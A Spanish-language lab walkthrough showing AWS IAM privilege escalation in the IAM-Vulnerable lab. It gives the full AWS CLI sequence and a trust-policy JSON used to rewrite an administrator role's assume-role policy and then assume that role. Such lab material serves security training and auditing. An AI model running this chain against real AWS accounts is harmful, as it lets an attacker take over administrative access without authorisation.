UpdateAssumeRolePolicy

Un atacante con los permisos iam:UpdateAssumeRolePolicy y sts:AssumeRole podría cambiar el documento de política de asumir rol de cualquier rol existente para permitirle asumir ese rol.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc14-UpdatingAssumeRolePolicy-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc14-UpdatingAssumeRolePolicy --version-id v1

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc14-UpdatingAssumeRolePolicy-role --role-session-name privesc14

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del El whoami de AWS

Primero nos autenticamos:

aws configure --profile privesc14

Y luego validamos con el whoami de AWS:

aws sts get-caller-identity --profile privesc14

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc14-UpdatingAssumeRolePolicy-user --profile privesc14

En este escenario, inicialmente tenemos que crear un documento de política que permite el permiso sts:AssumeRole sobre nuestro ARN de usuario atacante:

assumerolepolicy.json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:sts::651927172911:assumed-role/privesc14-UpdatingAssumeRolePolicy-role/privesc14"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}

Y posteriormente, tenemos que actualizar o modificar la política para un rol administrativo; con el objetivo de que nuestro usuario pueda asumir dicho rol:

aws iam update-assume-role-policy --role-name Rol-Administrator-Spartan --policy-document file://assumerolepolicy.json --profile privesc14

Si analizamos este rol administrativo antes de la modificación, se visualizaba de la siguiente manera:

Y si consultamos los permisos del dicho rol, lograremos validar que efectivamente este rol tiene privilegios administrativos.

Ahora simplemente tenemos que asumir el rol administrativo de la siguiente manera, por medio de nuestro perfil actual:

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/Rol-Administrator-Spartan --role-session-name privesc14admin --profile privesc14

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile privesc14admin

El token se especificará dentro del archivo plano de credenciales.

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.

Última actualización

¿Te fue útil?